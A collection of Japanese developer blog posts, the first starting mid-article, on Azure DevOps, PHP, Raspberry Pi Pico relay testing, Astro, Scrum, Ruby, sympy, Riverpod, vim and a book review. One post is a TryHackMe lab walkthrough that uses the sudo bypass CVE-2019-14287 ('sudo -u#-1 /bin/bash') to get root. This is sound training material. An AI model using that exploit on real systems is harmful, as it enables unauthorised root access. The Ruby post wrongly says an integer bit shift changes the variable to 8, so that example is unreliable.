https://learn.microsoft.com/ja-jp/azure/devops/pipelines/build/triggers?view=azure-devops#branch-consideration-for-triggers-in-yaml-pipelines

# 方法

1. Repos
1. Branches
1. more options 
1. Set as default branch
   ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120072/702d3253-c49f-02c8-c32b-ff58b03fa5aa.png)

:star: が付けば成功

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120072/d1ad867c-bf80-04c4-f826-c7970b8057e0.png)

# あとがき

settings とか必死に探しがち。
わかると、なるほどって感覚だけど、最初は悩む

そうはいっても、pipeline の default branch の設定箇所よりは分かりやすい :sweat:
新たに気づいたissetとemptyの違い（PHP）

タイトルのとおりですが、emptyとissetの違いで今さらながらに気づいた部分があったので、メモとして残しておきます。

## やりたかったこと

- $hogeが空の配列
    - falseにしたい
- $hoge['foo']がtrue
    - trueにしたい
- $hoge['foo']がfalse
    - falseにしたい

上記の条件を満たしたかった
## 結論

```php
$hoge = array('foo' => false);
if (!empty($hoge['foo'])) {
  echo 'true';
} else {
  echo 'false';
}
// falseが表示される

$hoge = array('foo' => false);
if (isset($hoge['foo'])) {
  echo 'true';
} else {
  echo 'false';
}
// trueが表示される
```
`isset`だと`$hoge['foo']`がfalseのときでも`true`が返ってしまいます…
`!empty`だとちゃんと`false`が返されるんですね〜。

## 理由

### issetの動作

- isset関数は、変数が設定されており、値が`null`でない場合にtrueを返す
- false、空文字列、0、空の配列なども「設定されている」とみなされるため、issetはこれらの場合にtrueを返す

### emptyの動作
- empty関数は、変数が空（null、false、空文字列、0、0.0、空の配列、または未設定）である場合にtrueを返す
- これらの値でない場合にfalseを返す

上記の違いがあるため、今回は!emptyを使用するとやりたいことが実現できました。

以上、誰からの参考になれれば幸いです。
タッチリレーボードの実力を検証

# タッチリレーボード とは、

https://qiita.com/nak435/items/050a708bbb92a85d8a04

先日の ↑こちらの記事で使用したタッチリレーボードですが、スマホ等のタッチパネルをタップするハードウェアです。
おそらく、スイッチサイエンスさんのオリジナル商品ではないかと思います。

https://www.switch-science.com/products/2455

このタッチリレーボードは、商品説明ページに記載されているように、オムロン製（[G6L-1F DC5](　https://www.fa.omron.co.jp/products/family/2838/)）のメカニカルリレーを搭載しています。なので、動作時に _**カチカチ**_ と音がします。

前出の記事では、これを点滅ICで動作させて、毎秒約9回の高速タップを実現しました。

では、このタッチリレーボードは、最高 毎秒何回 タップできるのでしょうか、今回の記事では それを検証します。



# 製品仕様は？

オムロン製のリレーの動作性能が そのまま タッチリレーボードのタップ性能になると思われるので、リレーのスペックを確認します。

https://www.fa.omron.co.jp/b5service/missing/data_pdf/cat/g6l_ds_j_1_5.pdf?site_id=14

データシートによると、

<img width="300" alt="dt.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283293/95bc6c66-b73e-828e-ae4c-e5c9f6a8a3f1.png" />


とあり、以下のように解釈しました。

- 動作時間 とは、OffからOnへ切り替わる時間：5ms（実力値 1.1ms）
- 復帰時間 とは、OnからOffへ切り替わる時間：5ms（実力値 0.4ms）

公称値は、5ms + 5ms ＝ 10ms周期で、
デューティー比 50％（5/10）、周波数 100Hz（1000/10）となり、

![tm.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283293/fabd237b-c265-5e13-2a39-645f44f278ee.png)

実力値ベースなら、1.1ms + 0.4ms ＝ 1.5ms周期で、
デューティー比 26.7％（4/15）、周波数 666.7Hz（1000/1.5）となります。

（解釈が違うようなら、ご指摘ください）

では、さっそく検証します。



# 検証

Raspberry Pi Pico を使い、Micropython で PWM を制御します。
Picoは、Clock周波数の1/2（半分）までの周波数のPWMを出力できます。
（標準のClock周波数は 125 MHz、PWMは最大 62.5 MHzと桁違いな分解能があります。最低は8Hz）

次のコードで、周波数を 10〜100Hz まで 10Hz刻みで 10秒間づつ、
200〜700Hz まで 100Hz刻みで 10秒間づつ出力してみます。

```python
from machine import Pin, PWM, ADC
import machine
import utime

pwm0 = PWM(Pin(17), freq=8, duty_u16=32768) #duty rate 32768/65535

for hz in range(10, 110, 10):
    print(f"now: {hz}Hz")
    pwm0.freq(hz) 
    utime.sleep(10) # whole 10sec keep

pwm0.duty_u16(17476) #duty rate 17476/65535

for hz in range(200, 800, 100):
    print(f"now: {hz}Hz")
    pwm0.freq(hz) 
    utime.sleep(10) # whole 10sec keep

pwm0.duty_u16(0) # stop
```

10〜40Hzまでは ほぼその速度でタップできていることが確認できますが、
50Hz以上では、iPhone13 mini がちゃんとタップを拾っていない感じです。

考えられることとしては、次の2点；
  -	iPhoneに画面保護ガラスフィルムが貼ってあることが影響？
  - SwiftUIの`onTapGesture`が追いつかない？

そこで、2Dゲームフレームワークの[SpriteKit](https://developer.apple.com/documentation/spritekit)を使って書き直し、かつ、画面保護フィルムを貼ってない（第9世代無印）iPad で再度検証。

その結果、50Hzはどうも（タッチリレーボードが滑っていて？）間引かれて認識しているようで、30〜40Hz程度に低下、
60Hzだと、数秒は60Hzを認識しますが、10秒程度でも継続が難しい状況です。

↓この時も、途中で認識しなかったタップがあり、10秒間で558回のタップとなっています。タッチリレーボードは60Hzで動作しているので、タッチリレーボードとスマホ/タブレットの相性の問題です。

> ラストの10タップは 60.097Hz、瞬間最高10タップは 60.589Hz

<img width="300" alt="IMG_0079.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283293/77c8b13b-4b55-0dc4-fadf-ed1478eedb4a.png" />

70Hz以上のスピードでタップを受けられるデバイスがないので、これ以降の実機測定は断念します。

とは言っても、高橋名人の4倍近い性能ですから、十分だと思います。

> 余談ですが、タッチリレーボードの **_カチカチ_** 音ですが、周波数が上がると、**_ガー_**、**_ビー_** とブザーように鳴り、さらに周波数が高くなると、**_ピー_** と超音波かと思う音になりました。
【TryHackMe】Sudo Security Bypass：Walkthrough

# 概要

TryHackMe「Sudo Security Bypass」のWalkthroughです。

https://tryhackme.com/r/room/sudovulnsbypass

# Task2

## **Q1**.*What command are you allowed to run with sudo?*

**Hint**.*Try using: sudo -l to see your privileges*

SSHでターゲットマシンに接続します。

```
$ ssh -p 2222 tryhackme@10.10.53.158
tryhackme@sudo-privesc:~$
```

`sudo -l`で実行できるプログラムを確認します。

```
$ sudo -l
Matching Defaults entries for tryhackme on sudo-privesc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tryhackme may run the following commands on sudo-privesc:
    (ALL, !root) NOPASSWD: /bin/bash
```


**A**.**/bin/bash**

## **Q2**.*What is the flag in /root/root.txt?*

**Hint**.*Get root using sudo (as a user with UID -1) with the command you found in the last question, then use cat /root/root.txt to get the flag.*

このマシンには`CVE-2019-14287`の脆弱性があります。

:::note info
`CVE-2019-14287`についての記事を書いたので併せてご覧ください。
[【ハッキング入門】CVE-2019-14287を使用した権限昇格について](https://qiita.com/kk0128/items/60e33562f8c34dce659a)
:::

権限昇格をします。

```
$ sudo -u#-1 /bin/bash
root@sudo-privesc:~# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt 
THM{l33t_s3cur1ty_bypass}
```

**A**.**THM{l33t_s3cur1ty_bypass}**
Astro でコンテンツコレクションの型（CollectionEntry型）を活かしたコンポーネントを作る

## この記事の概要

Astro では`src/content`にあるディレクトリは 1 つのコンテンツコレクションを表します。
コンテンツコレクションではフロントマターのスキーマを定義・検証できます。

公式ドキュメントでは記事の管理のしやすさやコンテンツコレクションを起点としたルーティングについての記載が多いです。
ただ、自分が触っている中でコンポーネント作成時も便利だと感じたので記事にしました。

## `CollectionEntry`型が便利

コンテンツコレクションとして 1 番よくある、記事管理を想定します。

以下のように`blog`コレクションを作成します。
（公式ドキュメントにある内容のままです。）

```typescript:src/content/config.ts
import { z, defineCollection } from 'astro:content';

const blogCollection = defineCollection({
  type: 'content',
  schema: z.object({
    title: z.string(),
    tags: z.array(z.string()),
    image: z.string().optional(),
  }),
});

export const collections = {
  'blog': blogCollection,
};
```

ここで、関連記事コンポーネントを作るとしましょう。
以下の要素で作るとします。

- 画像
    - デフォルト画像を用意しておき、設定されていない記事の場合はそれを使う
- 記事タイトル
- タグ
    - たくさんあるときは折り返して表示する

こちらの内容をスキーマの型に沿って作ろうと思う際`CollectionEntry`が便利です。
イメージを以下に示します。

```jsx:src/components/RelatedArticle.astro
---
import { Image } from "astro:assets";
import type { CollectionEntry } from "astro:content";

type Props = {
  blog: CollectionEntry<"blog">;
}

const { blog } = Astro.props;
---

<a href={`/${blog.slug}`}>
  <Image
    alt=""
    height="100"
    width="100"
    src={blog.data.image ? {blog.data.image} : "path/to/default/image"}
  />
  <p>{blog.data.title}</p>
  {blog.data.tags.map(tag => (
    <span>{tag}</span>
  ))}
</a>
```

注目していただきたいのは`blog: CollectionEntry<"blog">`です。
この記載だけで以下のような情報を取得できています。

```ts
const blog: ({
  id: string;
  slug: string;
  body: string;
  collection: "blog"
  data: {
    title: string;
    tags: string[];
    image?: string | undefind
  }
})
```

`data`の中身は`src/content/config.ts`で定義した通りです。
それ以外にも、id や body などを一緒に取得できています。

これにより、あるコンテンツコレクションに適合した型を確実に使える、と言えそうです。

また、コンテンツコレクションを変更すればコンポーネントにも反映されます。
そのため、意図せぬ挙動や表示崩れを防げそうです。

## 最後に

ドキュメントを読んでいて「これってかなり安全なのでは？」と一人で盛り上がっていました。

しかし、その割には（？）公式ドキュメントではこれだけしか触れられていません。

https://docs.astro.build/ja/reference/api-reference/#collection-entry-type

自分の中では結構良い機能だと思ったので、この記事でもってみなさんに共有します。

追記：

「これだけ」なんて記載しましたが、すみません全然他にもありました。[^1]

https://docs.astro.build/en/guides/content-collections/#passing-content-as-props

[^1]: X にて教えていただきました。 https://x.com/_yuheiy/status/1808909812287295714
スクラム開発で新しい技術を導入するためのベストプラクティス


## はじめに
スクラム開発において、新しい技術の導入はチームの生産性やプロダクトの品質を向上させる大きなチャンスです。しかし、適切な方法で導入しないと、逆に混乱を招くこともあります。この記事では、新しい技術をスクラム開発に導入する際のベストプラクティスについて解説します。

## 1. 技術選定のプロセス
新しい技術を導入する前に、まずはその技術が本当に必要かどうかを評価することが重要です。以下のポイントを考慮しましょう。

- **問題の明確化**: 現在のプロジェクトで解決すべき問題を明確にします。
- **技術の適合性**: 新しい技術がその問題を解決できるかどうかを評価します。
- **チームのスキルセット**: チームメンバーがその技術を習得するための時間とリソースを考慮します。

## 2. プロトタイプの作成
新しい技術を導入する前に、小規模なプロトタイプを作成してみましょう。これにより、技術の適用可能性や実際の効果を確認することができます。

- **スコープの限定**: プロトタイプのスコープを限定し、特定の機能や問題に焦点を当てます。
- **フィードバックの収集**: プロトタイプをチームメンバーやステークホルダーに見せ、フィードバックを収集します。

## 3. スクラムイベントでの共有
新しい技術の導入については、スクラムイベント（スプリントプランニング、デイリースクラム、スプリントレビュー、スプリントレトロスペクティブ）で積極的に共有しましょう。

- **スプリントプランニング**: 新しい技術の導入計画を立て、スプリントバックログに追加します。
- **デイリースクラム**: 進捗状況や問題点を共有し、チーム全体で解決策を考えます。
- **スプリントレビュー**: 新しい技術を使った成果物をデモし、ステークホルダーからのフィードバックを受け取ります。
- **スプリントレトロスペクティブ**: 新しい技術の導入プロセスを振り返り、改善点を見つけます。

## 4. 継続的な学習と改善
新しい技術を導入した後も、継続的な学習と改善が必要です。以下の方法を活用しましょう。

- **技術ブログやドキュメントの作成**: チーム内での知識共有を促進します。
- **勉強会やワークショップの開催**: チームメンバーが新しい技術を深く理解するための場を提供します。
- **フィードバックループの確立**: 定期的にフィードバックを収集し、技術の適用方法を改善します。

## まとめ
新しい技術の導入はスクラム開発において大きな挑戦ですが、適切なプロセスを踏むことで成功に導くことができます。問題の明確化、プロトタイプの作成、スクラムイベントでの共有、継続的な学習と改善を通じて、チーム全体で新しい技術を効果的に活用しましょう。

皆さんのプロジェクトが成功することを願っています！
スクラム開発でサービスの品質を定期的に評価する方法


## はじめに
スクラム開発を行う中で、サービスの品質を定期的に評価することは非常に重要です。品質評価を怠ると、ユーザー体験が損なわれ、最終的にはプロダクトの成功に悪影響を及ぼす可能性があります。この記事では、クラウドベンダーのサービスを活用しながら、どのようにしてサービスの品質を定期的に評価するかについて解説します。

## 1. 品質評価の重要性
まず、なぜ品質評価が重要なのかを理解することが大切です。品質評価を行うことで、以下のようなメリットがあります。

- **早期発見と修正**: 問題を早期に発見し、迅速に修正することができます。
- **ユーザー満足度の向上**: 高品質なサービスを提供することで、ユーザー満足度が向上します。
- **コスト削減**: 問題が大きくなる前に対処することで、修正コストを削減できます。

## 2. クラウドベンダーのサービスを活用する
クラウドベンダーは、品質評価を支援するための多くのツールやサービスを提供しています。以下にいくつかの例を挙げます。

### 2.1 AWS CloudWatch
AWS CloudWatchは、アプリケーションのパフォーマンスを監視し、ログを収集するためのサービスです。これを利用することで、リアルタイムでサービスの状態を把握し、異常を検知することができます。

### 2.2 Azure Application Insights
Azure Application Insightsは、アプリケーションのパフォーマンスを監視し、問題を診断するためのツールです。自動的にデータを収集し、詳細なレポートを提供してくれます。

### 2.3 Google Cloud Operations Suite
Google Cloud Operations Suite（旧Stackdriver）は、ログ管理、モニタリング、トレースなどの機能を提供します。これを利用することで、サービスのパフォーマンスを詳細に分析することができます。

## 3. 定期的な評価の方法
品質評価を定期的に行うためには、以下のステップを踏むことが推奨されます。

### 3.1 定期的なレビュー
スプリントの終わりに、チーム全体でサービスの品質をレビューします。この際、クラウドベンダーのツールを活用して、パフォーマンスデータやログを確認します。

### 3.2 自動化されたテスト
自動化されたテストを導入することで、定期的に品質を評価することができます。CI/CDパイプラインに組み込むことで、デプロイ前に自動的にテストが実行されます。

### 3.3 ユーザーフィードバックの収集
ユーザーからのフィードバックを定期的に収集し、品質評価に反映させます。これにより、実際のユーザー体験を基にした改善が可能になります。

## 4. まとめ
スクラム開発において、サービスの品質を定期的に評価することは不可欠です。クラウドベンダーのツールを活用し、定期的なレビュー、自動化されたテスト、ユーザーフィードバックの収集を行うことで、高品質なサービスを提供し続けることができます。ぜひ、これらの方法を取り入れて、プロダクトの成功に繋げてください。

## おわりに
この記事が、スクラム開発における品質評価の重要性とその方法について理解を深める一助となれば幸いです。皆さんのプロダクト開発が成功することを願っています。
スクラムチームの負荷が低い場合の対策と活用法


## はじめに

スクラム開発を行っていると、時にはチームの負荷が低いと感じることがあります。これは一見すると良いことのように思えますが、実際にはチームの生産性やモチベーションに悪影響を及ぼす可能性があります。この記事では、スクラムチームの負荷が低い場合にどのように対策を講じ、活用するかについて考えてみたいと思います。

## 負荷が低い原因を探る

まず、なぜ負荷が低いのかを理解することが重要です。以下のような原因が考えられます。

1. **タスクの見積もりが甘い**: タスクの見積もりが過小評価されている場合、実際の作業量が少なくなります。
2. **プロダクトバックログの不足**: プロダクトオーナーが十分な量のバックログアイテムを用意していない場合、チームは手持ち無沙汰になります。
3. **スプリントゴールの不明確さ**: スプリントゴールが明確でないと、チームは何を優先すべきか迷ってしまいます。

## 対策と活用法

### 1. タスクの見積もりを見直す

タスクの見積もりが甘い場合、チームで再度見積もりを行いましょう。見積もりの精度を上げるために、過去のデータを参考にすることも有効です。また、見積もりの際にはチーム全員が参加し、共通の理解を持つことが重要です。

### 2. プロダクトバックログを充実させる

プロダクトオーナーと協力して、プロダクトバックログを充実させましょう。新しい機能や改善点を洗い出し、優先順位をつけていきます。これにより、チームは常に次に取り組むべきタスクを持つことができます。

### 3. スプリントゴールを明確にする

スプリントゴールが不明確な場合、チームは何を達成すべきか迷ってしまいます。スプリントプランニングの際に、具体的で達成可能なゴールを設定し、チーム全員が共有することが重要です。

### 4. 学習と改善の時間を設ける

負荷が低い時期を利用して、チームのスキルアップやプロセス改善に取り組むことも有効です。例えば、新しい技術の学習やコードレビューの強化、テスト自動化の推進などが考えられます。

### 5. クラウドサービスの活用

クラウドベンダーの提供する様々なサービスを活用することで、チームの生産性を向上させることができます。例えば、インフラの自動化やデプロイの効率化、モニタリングの強化などが挙げられます。

## まとめ

スクラムチームの負荷が低い場合、ただ手をこまねいているのではなく、積極的に対策を講じることが重要です。タスクの見積もりを見直し、プロダクトバックログを充実させ、スプリントゴールを明確にすることで、チームの生産性とモチベーションを維持することができます。また、学習と改善の時間を設けることで、チーム全体のスキルアップを図ることも可能です。クラウドサービスの活用も忘れずに、より効率的な開発を目指しましょう。
スクラムチームの負荷が高い場合の対処法


## はじめに
スクラム開発を行っていると、チームの負荷が高くなることがあります。これはプロジェクトの進行において避けられない部分でもありますが、適切な対策を講じることで、チームのパフォーマンスを維持し、プロジェクトの成功に繋げることができます。この記事では、スクラムチームの負荷が高い場合の対処法について、具体的な方法を紹介します。

## 1. 負荷の原因を特定する
まずは、チームの負荷が高くなっている原因を特定することが重要です。以下のような要因が考えられます。

- **タスクの過剰**: スプリント内に設定されたタスクが多すぎる。
- **不明確な要件**: 要件が曖昧で、タスクの進行が遅れる。
- **技術的な問題**: 新しい技術やツールの導入に時間がかかる。
- **コミュニケーション不足**: チーム内外での情報共有が不足している。

## 2. タスクの優先順位を見直す
負荷が高い場合、タスクの優先順位を見直すことが必要です。プロダクトオーナーと協力して、最も重要なタスクに集中できるようにしましょう。優先順位を見直すことで、チームが重要なタスクに集中し、効率的に作業を進めることができます。

## 3. スプリントの調整
スプリントの期間や内容を調整することも一つの方法です。例えば、スプリントの期間を短くすることで、タスクの見積もりがより正確になり、負荷の分散が図れます。また、スプリントの内容を見直し、タスクの量を減らすことも検討しましょう。

## 4. クラウドサービスの活用
クラウドベンダーの様々なサービスを活用することで、チームの負荷を軽減することができます。例えば、インフラの管理をクラウドサービスに任せることで、開発に集中できる環境を整えることができます。また、CI/CDツールを活用することで、デプロイ作業の自動化が可能となり、手動作業の負担を減らすことができます。

## 5. コミュニケーションの強化
チーム内外でのコミュニケーションを強化することも重要です。定期的なミーティングや1on1を実施し、チームメンバーの状況を把握することで、早期に問題を発見し、対策を講じることができます。また、オンラインツールを活用して、情報共有をスムーズに行うことも効果的です。

## 6. チームの健康管理
最後に、チームメンバーの健康管理も忘れてはいけません。過度な負荷が続くと、メンバーのモチベーションが低下し、パフォーマンスが落ちる可能性があります。適度な休息を取り入れ、メンバーがリフレッシュできる環境を整えることが大切です。

## まとめ
スクラムチームの負荷が高い場合、原因を特定し、適切な対策を講じることで、チームのパフォーマンスを維持し、プロジェクトの成功に繋げることができます。タスクの優先順位の見直しやスプリントの調整、クラウドサービスの活用、コミュニケーションの強化、そしてチームの健康管理を意識して、より良い開発環境を作り上げましょう。
君の名は？（配列でよく見かけるこいつ→<<）

配列でよく見かけるこの子　`<<`　ですが、ショベル演算子（shovel operator）と呼ぶそうです。

※ChatGPTの解説と記事で使われたていた名前です。
日本語としては正確性には欠けるかもしれませんが、ひとまずこの名前で呼びたい。
外国の記事も添付してありますが”shovel operator”って呼んでるしまあセーフ

以下GPTによる解説
私が知りたかったのは1の配列の内容でした。

Rubyの「ショベル演算子（shovel operator）」、つまり`<<`演算子について詳しく解説します。この演算子は、複数の用途で使用される非常に便利な演算子です。以下に、各用途について具体的な例を交えて説明します。

### 1. 配列への要素追加

`<<`演算子は、配列の末尾に新しい要素を追加するために使用されます。これは配列を変更する破壊的な操作です。

### 例:

```ruby
array = [1, 2, 3]
array << 4
puts array.inspect  # => [1, 2, 3, 4]
```

この例では、配列`array`に`4`を追加しています。`<<`演算子を使うことで、新しい要素が配列の最後に追加されます。

### 2. 文字列への連結

`<<`演算子は、文字列オブジェクトにも使用できます。この場合、文字列の末尾に別の文字列や文字を連結します。

### 例:

```ruby
string = "Hello"
string << " World"
puts string  # => "Hello World"
```

この例では、文字列`string`に`" World"`を連結しています。`<<`演算子を使うことで、新しい文字列が既存の文字列の末尾に追加されます。

### 3. ビットシフト演算

整数に対して`<<`演算子を使用すると、ビットシフト演算が実行されます。左にシフトすることで、数値が2のべき乗倍になります。

### 例:

```ruby
number = 1
number << 3
puts number  # => 8 (1 を 3 ビット左にシフトすると 8 になる)
```

この例では、`1`を3ビット左にシフトしています。ビットシフト演算により、結果は`8`になります。

### 4. カスタムクラスでの使用

`<<`演算子はカスタムクラスでもオーバーロード（再定義）することができます。これにより、独自の挙動を持つ演算子を作成することができます。

### 例:

```ruby
class MyCollection
  attr_accessor :items

  def initialize
    @items = []
  end

  def <<(item)
    @items << item
  end
end

collection = MyCollection.new
collection << "item1"
collection << "item2"
puts collection.items.inspect  # => ["item1", "item2"]

```

この例では、`MyCollection`クラスに`<<`演算子をオーバーロードしています。このカスタムクラスでは、`<<`演算子を使用してコレクションにアイテムを追加することができます。

### まとめ

`<<`演算子は、以下のように多岐にわたる用途で使用される非常に便利な演算子です。

1. 配列への要素追加
2. 文字列への連結
3. ビットシフト演算
4. カスタムクラスでのオーバーロード

これにより、`<<`演算子はRubyの多くの部分で使われており、その汎用性と簡潔さから、非常に強力なツールとなっています。

参考記事

https://zenn.dev/airiswim/articles/4d2637da273ce8

https://stackoverflow.com/questions/4684446/why-is-the-shovel-operator-preferred-over-plus-equals-when-building-a
「sympyで、座標面上の三角形の内角の計算」を調べた。

**パイソニスタの方へ**
・(1)のPolygonで、dict?を使わずにできますか？　return1文だけです。

普通は？余弦定理、内積だろ。私は勉強中です。

# (1) Polygonのanglesで
The internal angle at each vertex.
https://docs.sympy.org/latest/modules/geometry/polygons.html#sympy.geometry.polygon.Polygon.angles
```python
# (1) Polygonのanglesで
from sympy import *
var('AB',real=True,poitive=True)
def myTriangleRad(myT):
    P1=myT.args[0]
    P2=myT.args[1]
    P3=myT.args[2]
    myPol=Polygon(P1,P2,P3)
    return myPol.angles[P1],myPol.angles[P2],myPol.angles[P3]
AB=10
tr=Triangle(Point(0,AB),Point(AB,0),Point(AB,AB))
print("#",myTriangleRad(tr)[0],deg(myTriangleRad(tr)[0]))
print("#",myTriangleRad(tr)[1],deg(myTriangleRad(tr)[1]))
print("#",myTriangleRad(tr)[2],deg(myTriangleRad(tr)[2]))
# pi/4 45
# pi/4 45
# pi/2 90
tr=Triangle(Point(0,AB),Point(AB,AB),Point(AB,0))
print("#",myTriangleRad(tr)[0],deg(myTriangleRad(tr)[0]))
print("#",myTriangleRad(tr)[1],deg(myTriangleRad(tr)[1]))
print("#",myTriangleRad(tr)[2],deg(myTriangleRad(tr)[2]))
# pi/4 45
# pi/2 90
# pi/4 45
```

# (2) Lineのangle_betweenで
Return the non-reflex angle formed by rays emanating from the origin with directions the same as the direction vectors of the linear entities.
https://docs.sympy.org/latest/modules/geometry/lines.html#sympy.geometry.line.LinearEntity.angle_between
```python
# (2) Lineのangle_betweenで
from sympy import *
var('AB',real=True,poitive=True)
def myTriangleRad(myT):
    return Line(myT.args[0],myT.args[1]).angle_between(Line(myT.args[0],myT.args[2])), \
           Line(myT.args[1],myT.args[2]).angle_between(Line(myT.args[1],myT.args[0])), \
           Line(myT.args[2],myT.args[0]).angle_between(Line(myT.args[2],myT.args[1]))
AB=10
tr=Triangle(Point(0,AB),Point(AB,0),Point(AB,AB))
print("#",myTriangleRad(tr)[0],deg(myTriangleRad(tr)[0]))
print("#",myTriangleRad(tr)[1],deg(myTriangleRad(tr)[1]))
print("#",myTriangleRad(tr)[2],deg(myTriangleRad(tr)[2]))
# pi/4 45
# pi/4 45
# pi/2 90
tr=Triangle(Point(0,AB),Point(AB,AB),Point(AB,0))
print("#",myTriangleRad(tr)[0],deg(myTriangleRad(tr)[0]))
print("#",myTriangleRad(tr)[1],deg(myTriangleRad(tr)[1]))
print("#",myTriangleRad(tr)[2],deg(myTriangleRad(tr)[2]))
# pi/4 45
# pi/2 90
# pi/4 45
```

# (3) 余弦定理で
(勉強中)

# (4) 内積で
(勉強中)

# 作図
(省略)
[備忘録]riverpodのあれこれ[flutter]


## 概要

Widget同士の状態を共有するために使えるパッケージ。
`ConsumerWidget`をつかうことで外のステートを確認できる。ステートを描くのは難しいが`riverpod_generator` を起動させることで自動でファイルを作ってくれる。

`ConsumerWidget`には引数にRefが入る。ProviderはStateを守っていて`Ref`がないとみれないという仕組み。StateはNotifierからしか変更できない。よくボタンのOnPressでこのNotifierを動かす。Notifierには４つの種類があり、単純データ、ClassとかListの複雑データ、Futureみたいな読み込み型、Streamみたいな適宜通信するやつの４パターン。

Widget内部でステートを持っていたい場合は普通に`StateFullWidget`を使うか別のHookパッケージ作ってやる（Hookは公式から認められていないらしい）

## コードの書き方

State作ってNotifier作ってProvider作る。generatorでNotifier作成以降は自動でファイルを生成してくれる。１つのファイルに複数のnotifierを書いても１つのStatesファイル内で複数のnotifierに対応したStateを作ってくれる。

Steteのdartファイル作成（s1.dart）　＞＞　flutter pub run build_runner build --delete-conflicting-outputs実行　＞＞　ConsumerWidgetでrefを指定

riverpodを使うにはアプリ全体をProviderScopeに入れておく必要がある。これはmain.dartで書くといいかも？
'readonly' option is set (add ! to override)が出た時の対応

# はじめに
設定ファイルなどを編集して保存しようとした際に'readonly' option is set (add ! to override)というエラーが出た時の対処法。（権限不足）
以下コマンドを実行することでsudo権限を使って強制的に保存できる。

# 手順
### Vimのコマンドモードで以下コマンドを実行

```
:w !sudo tee %
```

tee コマンドで現在開いているファイルを、強制的に上書きする。

w : ファイルの保存
!sudo tee : !sudo tee コマンド
% : 現在開いているファイル

### :q!で終了

```
:q!
```

上記手順で編集内容が保存される。
「世界一流エンジニアの思考法」という本を読んだ感想

[世界一流エンジニアの思考法](https://amzn.asia/d/0bTNNav8)という本を読んで、
個人的に参考になったことを備忘録として整理したいと思います。
著者の牛尾さんは44歳でマイクロソフトに転職したプログラマーで、プログラミングに関しては、自分でも三流だというほど才能がないと言います。
本書では、一流のエンジニアがどのように思考し、生産性をあげているのか解説した本です。

## はじめに
圧倒的に仕事ができる人たちは、常人と比べて著しく頭の回転が速かったり天才的な記憶力を持っているように見えます。しかし、常人で比べて追いつけないほど脳みその性能が違うわけではないと言います。
彼らはなぜ生産性が高いのか、それは主に「思考法」（マインドセット）をうまく使っているからだといいます。
このことを理解した筆者は仕事のスタイルが激変して、生産性を高めることができるようになったそうです。

## 試行錯誤は「悪」である。
問題解決をするなら下記の手順で行動すべきだと述べています。

### 情報収集⇒仮説を立てる⇒仮説を証明するための行動をとる⇛手を動かす

仮説を立てて行動するなんて当たり前のように思えますが、
振り返ってみると、自分も以前の筆者と同じようにエラーが起きた際、
仮説を十分に立てず手を動かして試行錯誤していました。
この方法ではエラー解決に膨大に時間がかかるうえ、
解決できても手当たり次第に行動しているだけで成長はほとんどありません。

今後は仮説を立てて手を動かすことを徹底し、無駄な試行錯誤を減らしたいと思います。


## 頭が良くても「理解」には時間がかかる。
筆者は優秀なエンジニアでも理解に時間をかけているのを見て、
どんなに頭が良い人でも理解には時間がかかるということを知りました。

頭のいい人は理解が早いように見えますが、
それは今まで時間をかけて基礎から理解を積み重ねているからです。
既に理解していることに関して頭のメモリにコンテキスト（文脈）が
載っているから、理解するのが早いと言います。
理解することの大事さを知った筆者は業務後にプログラミングを基礎から勉強しなおしたそうです。

ちなみに、
筆者の思う「理解」とは下記の3要素を満たすことです。
　・構造を理解して人に説明できること
　・いつでもどこでも即座に取り出して使えること
　・知見を踏まえて応用が利くこと


## 頭の中に「メンタルモデル」を作る
筆者は、同僚たちが驚くほど細かいところまで仕組みを把握し記憶していることについて驚き、
どうしてそんな事が出来るのか聞いてみると、「メンタルモデルを作るとそれができるようになる」と教えられました。
メンタルモデルとは、複雑な情報や状況を整理して、それらを理解しやすい形に結びつけるフレームワークのことです。
頭の中で素早く情報処理をするためには何らかの脳内イメージを持つことが重要だといいます。

## いかに脳みその負荷を減らすか
コードリーディングをする際は、”極力コードを読まない”で、
UMLなどを使ってシステムのインターフェイスと構造を理解することが大事だといいます。
読んでいるメソッドやクラスのインターフェイスの役割やパラメータをしっかり理解することが重要。

# 感想
本書を読んで、時間をかけて基本と構造を理解することの大切さについて学びました。
それができないと決して仕事をコントロールできるようにならないと言います。
  
現在の自分にとても刺さった本でした。
今後は、本書で紹介されたテクニックを使って生産性を向上させたいと思います。

優秀なエンジニアと自分は何が違うのかと悩んでいるエンジニアにおすすめしたい本です。
新卒３年間の学びと得た考え方（エンジニア編）

# 概要
過去の振り返りの１つとして、先日noteに「新卒３年間の学びと得た考え方」という記事を掲載した。

https://note.com/hinom77/n/n7a14cd41dbc8

こちらは主に汎用的な社会人の面を意識した記事となっている。
そのため、この記事ではエンジニアにおける面において記事を書こうと思う。


## ①技術・ツールについての理解
**１次ドキュメント**を読み込み、**どのようなことができるか/どう実装するか**をまずしっかり知る。他の記事などは補足程度。
Github読み込む、メーリングリスト入会も有効。
それだけではなく、競合や同一カテゴリの技術・ツールと比較して何がメリット/デメリットかを徹底して調べる（わからなければ勘所ある人に聞き回る）

## ②最低限どこまでインプットやるか
業務に必要そうな部分の技術・ツールの仕組みや流れはしっかり抑える。
細かい部分はドキュメント見てすぐ参照できるようにしておく程度でよい。

## ③ブログやGitHubへの投稿どんどんすべし
記事へのフィードバックはもちろん、よりその専門の人と接点できるかもしれない
自身の理解の整理にも繋がるし、読んでくれた方の理解についても同様である。

## ④工数の設定
工数読めなければ、まずプロトタイピング期間を頂いてそこから見積もりすべし。
ぱっと見、簡単そうに見えても安易に合意せず慎重に行うこと。

**スケジュールも本来PMではなくエンジニアが決めるべきもの**
**エンジニアしかモノは作れない**ことを忘れない。

また、プライドとか意地を張って無理なスケジュールを引かない。
結果、チームの稼働を増やし迷惑をかけてしまうことを常に念頭にもつ。

懸案等あればそれもしっかり全てあらかじめ伝えておく。

## ⑤とにかくドキュメンテーション
業務の中で**分からないことや単語を調べて、逐次ドキュメントにまとめておく。**
そのことで、自身の中での理解がより促進される。

また、行ったことや実装・ハマった点等の流れもドキュメントにまとめておくと、
